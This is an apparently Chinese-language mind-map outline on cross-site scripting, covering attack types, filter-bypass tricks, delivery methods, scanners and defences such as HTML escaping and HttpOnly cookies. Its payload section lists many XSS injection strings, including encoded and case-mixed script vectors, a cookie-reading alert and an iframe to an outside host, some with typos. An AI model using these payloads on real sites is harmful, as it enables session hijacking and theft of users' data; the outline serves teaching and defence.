跨站脚本攻击
2019-08-21 13:09:50 2 举报
AI智能生成
XSS 跨站脚本攻击
作者其他创作
大纲/内容
什么是XSS攻击
攻击者利用站点的安全漏洞往Web页面中插入恶意的html代码或js脚本,<br>当用户浏览该页时,嵌入Web页面的攻击脚本会被执行,达到攻击目的。
因为这种攻击是通过别人的网站脚本漏洞达到攻击的效果,<br>就是说可以隐藏攻击者的身份,因此叫跨站攻击。
XSS攻击的危害
窃取用户身份和机密数据(信用卡详细信息)
绕过网站的限制
会话劫持(偷窃会话)
恶意软件攻击
破坏网站页面
DoS攻击
XSS攻击的类型
持久性XSS<br>Persistent XSS或Stored XSS
<b>攻击者把恶意代码提交给服务器,该代码将在所有的页面中被运行。<br></b>比如:<br>用户为商品提交的评价,如果攻击者提交了注入脚本的评价信息,<br>而网站本身又没有进行相应的输入校验,当其他的用户看到这个评价的时候,脚本将会被执行。<br>试想如果这段注入脚本是窃取用户cookie信息的代码,攻击者将会获其他用户的账户信息等。
一般存在于富文本等交互功能,如发帖留言等,黑客可以用XSS内容经正常功能进入数据库持久保存
非持久性XSS<br>Non-Persistent XSS或Reflected XSS
构造URL欺骗用户点击,URL中构造的参数值,没有进行任何过滤和转义处理就立即显示在页面上。
另外一种情况就是在检索中注入XSS脚本。
基于DOM的XSS
document.write()
eval()
setInterval(),setTimeout()
.innerHTML
通常document.location,document.URL,document.referer这几个对象最容易被利用
基于JS脚本操作document对象及URL
高级攻击技术
在PHP.ini中设置magic_quotes_gpc=ON时,<br>将会把单引号('),双引号("),斜杠(\)自动转化成一个反斜杠<br>比如:<br><script>alert("hi");</script> -> <script>alert(\hi\)<script>
绕过PHP中的<br>magic_quotest_gpc
<b>通过ASCII字符绕过过滤器</b><br><script>alert("hi");<script><br>-><br><script>String.fromCharCode(97,108,101,114,116,40,34,104,105,34,41,59);<script><br>***JavaScript的String.fromCharCode()函数是将ASCII字符转成字符串
<b>通过HEX编码绕过过滤器</b><br><script>alert("HI");</script><br>-><br>%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69<br>%22%29%3b%3c%2f%73%63%72%69%70%74%3e
<b>通过迷惑字符绕过过滤器</b><br><script>alert("HI");</script> -> <ScRipt>ALeRt("hi")</sCRipT>
<b>使用结束tag</b><br>"><script>alert("Hi");</script>
XSS攻击的传送机制
非持久性XSS或基于DOM的XSS
可以向个体目标用户或少数几名用户发送一封伪造的电子邮件
通过即时消息向目标用户提供一个URL
付费购买许多链接至一个URL的横幅广告
持久性XSS
漏铜数据通过主WEB界面提交给应用程序
通过其他渠道向应用程序提交漏洞数据的情况.比如:WEB邮件
检测工具
Nessus被认为是目前全世界最多人使用的系统漏洞扫描与分析软件
IBM Rational APPScan
Acunetix WVS
HP Inspect
XSS Me(FireFox插件)
常见攻击代码
普通的XSS
<script>alert("XSS");</script>
"><script>alert("XSS")</script>"
Script标签内
</script><script>alert(1)</script>';alert(1);‘)alert(1);//
大小写不敏感
<ScRiPt>alert(1)</sCriPt><br><IMG SRC=jAVasCriPt:alert('XSS')><br>
IMG标签
<IMG SRC=''javascript:alert('XSS');"><br><IMG SRC=''javascript:alert(&quot;XSS&quot;);"><br><IMG SRC=''javascript:alert('XSS')><br>
<img src=xss onerrir=alert(1)><br><IMG ""><SCRIPT<alert("XSS")</SCRIPT>"><br><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))><br><IMG SRC="jav ascript:alert("XSS");"
<IMG SRC="JAV&#X09;ascript:alert("XSS");">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;<br>&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;><br>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099<br>&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101<br>&#0000114&#0000106&#0000040&#0000039&#0000088&#0000083&#000039&#0000041><br>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65<br>&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29><br>
HTML标签
<BODY BACKGROUP="javascript:alert("XSS")">
<BODY ONLOAD=alert("XSS")><br><INPUT TYPE=''IMAGE" SRC="javascript:alert("XSS");"><br><IMG SRC="javascript:alert("XSS")"
<iframe src=http://ha.ckers.org/scriptlet.html<
绕过过滤器
<<SCRIPT>alert("XSS");//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
">s"%2bcript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)<scr=</script>ipt>
String.fromCharCode
<SCRIPT>String.fromCharCode(97,108,101,114,116,40,49,41)</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83)//\";<br>alert(String.fromCharCode(88,83,83)//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)</SCRIPT>
防御技术
基于防御
除非是允许的地方,其他地方不要插入不信任的数据
脚本<script>...NEVER PUT UNTRUSTED DATA HERE...</script><br>注释<!--...NEVER PUT UNTRUSTED DATA HERE...--><br>样式<style>...NEVER PUT UNTRUSTED DATA HERE...</style>
在HTML元素中插入不信任的数据要做HTML转义<br>&--》&amp;<br><-->&lt;<br>>-->&gt;<br>"-->&quot;<br>'-->&#x27;<br>/-->&#x2F;
标签的属性
CSS的属性
URL
基于DOM的XSS的防御
将不信任的数据插入到HTML之前使用HTML转义/JavaScript转义<br>element.innerHTML="<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%";
将不信任的属性设置给标签属性前使用JavaScript转义<br>x.setAttribute("value","<%=Encoder.encodeForJS(companyName)%>");
特别注意将不信任的数据插入事件处理或JavaScript代码中
将不信任的数据设置到CSS属性之前使用JavaScript转义<br>document.body.style.backgroundImage="url(<%=Encoder.encodeForJS(Encoder.encoderForUrl(companyName)))%>";
将不信任的数据设置到URL属性之前使用URL转义和JavaScript转义<br>x.setAttribute("href",'<%=Encoder.encodeForJS(Encoder.encodeForURL(userRelativePath))%>');
使用HttpOnly cookie
有助于阻止攻击者使用XSS漏洞实施会话劫持攻击。
在Set-Cookie消息投中标记为HttpOnly:<br>Set-Cookie:SessId=12d1a1f856ef224ab424c2454208ff;HttpOnly;
当一个cookie标记为Http时,支持它的浏览器将阻止客户端JavaScript直接访问该cookie
0 条评论
下一页
为你推荐
查看更多